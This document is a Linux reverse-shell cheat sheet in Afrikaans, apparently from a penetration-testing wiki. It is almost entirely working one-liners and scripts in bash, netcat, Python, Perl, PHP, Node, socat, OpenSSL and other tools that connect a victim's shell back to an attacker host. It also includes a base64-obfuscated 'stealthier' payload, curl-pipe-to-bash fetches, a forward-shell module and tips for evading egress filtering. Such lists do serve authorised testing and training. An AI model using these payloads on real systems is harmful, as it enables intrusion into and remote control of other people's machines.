Shells - Linux

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As jy vrae het oor enige van hierdie shells, kan jy dit nagaan by https://explainshell.com/

Volledige TTY

Sodra jy 'n omgekeerde shell kry lees hierdie bladsy om 'n volledige TTY te verkry.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Moet nie vergeet om met ander shells te kyk nie: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, en bash.

Simbool veilige shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Shell verduideliking

1. bash -i: Hierdie deel van die opdrag begin 'n interaktiewe (-i) Bash-skal.
2. >&: Hierdie deel van die opdrag is 'n afgekorte notasie vir om beide standaarduitset (stdout) en standaardfout (stderr) na die dieselfde bestemming te herlei.
3. /dev/tcp/<ATTACKER-IP>/<PORT>: Dit is 'n spesiale lêer wat 'n TCP-verbinding na die gespesifiseerde IP-adres en poort verteenwoordig.

• Deur die uitset en foutstrome na hierdie lêer te herlei, stuur die opdrag effektief die uitset van die interaktiewe skalsessie na die aanvaller se masjien.

4. 0>&1: Hierdie deel van die opdrag herlei standaardinvoer (stdin) na die dieselfde bestemming as standaarduitset (stdout).

Skep in lêer en voer uit

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

Wanneer jy met 'n Remote Code Execution (RCE) kwesbaarheid in 'n Linux-gebaseerde webtoepassing werk, kan die verkryging van 'n reverse shell belemmer word deur netwerkverdedigings soos iptables-reëls of ingewikkelde pakketfiltermeganismes. In sulke beperkte omgewings behels 'n alternatiewe benadering die vestiging van 'n PTY (Pseudo Terminal) shell om meer effektief met die gecompromitteerde stelsel te kommunikeer.

'n Aanbevole hulpmiddel vir hierdie doel is toboggan, wat interaksie met die teikenomgewing vereenvoudig.

Om toboggan effektief te gebruik, skep 'n Python-module wat op die RCE-konteks van jou teikenstelsel afgestem is. Byvoorbeeld, 'n module genaamd nix.py kan as volg gestruktureer word:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text

En dan kan jy uitvoer:

toboggan -m nix.py -i

Om 'n interaktiewe skulp direk te benut. Jy kan -b vir Burpsuite integrasie byvoeg en die -i verwyder vir 'n meer basiese rce-wrapper.

'n Ander moontlikheid is om die IppSec vorentoe skulp implementering te gebruik https://github.com/IppSec/forward-shell.

Jy moet net die volgende aanpas:

• Die URL van die kwesbare gasheer
• Die voorvoegsel en agtervoegsel van jou payload (indien enige)
• Die manier waarop die payload gestuur word (koppe? data? ekstra inligting?)

Dan kan jy net opdragte stuur of selfs die upgrade opdrag gebruik om 'n volle PTY te verkry (let daarop dat pype met 'n ongeveer 1.3s vertraging gelees en geskryf word).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Kyk dit in https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Aanvaller

while true; do nc -l <port>; done

Om die opdrag te stuur, skryf dit neer, druk enter en druk CTRL+D (om STDIN te stop)

Slachtoffer

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Zsh (ingeboude TCP)

# Requires no external binaries; leverages zsh/net/tcp module
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'

Rustcat (rcat)

https://github.com/robiot/rustcat – moderne netcat-agtige luisteraar geskryf in Rust (verpak in Kali sedert 2024).

# Attacker – interactive TLS listener with history & tab-completion
rcat listen -ib 55600

# Victim – download static binary and connect back with /bin/bash
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
&& chmod +x /tmp/rcat \
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600

Kenmerke:

• Opsionele --ssl vlag vir versleutelde vervoer (TLS 1.3)
• -s om enige binêre (bv. /bin/sh, python3) op die slagoffer te laat ontstaan
• --up om outomaties op te gradeer na 'n volledig interaktiewe PTY

revsh (versleuteld & pivot-gereed)

revsh is 'n klein C kliënt/bediener wat 'n volledige TTY oor 'n versleutelde Diffie-Hellman tonnel bied en kan opsioneel 'n TUN/TAP koppelvlak vir omgekeerde VPN-agtige pivotering heg.

# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make

# Attacker – controller/listener on 443 with a pinned certificate
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem

# Victim – reverse shell over TLS to the attacker
./revsh <ATTACKER-IP>:443

Nuttige vlae:

• -b : bind-shell in plaas van omgekeerd
• -p socks5://127.0.0.1:9050 : proxy deur TOR/HTTP/SOCKS
• -t : skep 'n TUN-koppelvlak (omgekeerde VPN)

Omdat die hele sessie versleuteld en gemultiplex is, omseil dit dikwels eenvoudige uitgangsfiltrering wat 'n gewone teks /dev/tcp shell sou doodmaak.

OpenSSL

Die Aanvaller (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Die Slachtoffer

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Terugskakel

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Vinger

Aanvaller

while true; do nc -l 79; done

Om die opdrag te stuur, skryf dit neer, druk enter en druk CTRL+D (om STDIN te stop)

Slachtoffer

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

Xterm

Dit sal probeer om met jou stelsel te verbind op poort 6001:

xterm -display 10.0.0.1:1

Om die omgekeerde skulp te vang, kan jy gebruik maak van (wat op poort 6001 sal luister):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

deur frohoff LET WEL: Java reverse shell werk ook vir Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Verwysings

• https://highon.coffee/blog/reverse-shell-cheat-sheet/
• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell
• https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
• https://github.com/robiot/rustcat
• https://github.com/emptymonkey/revsh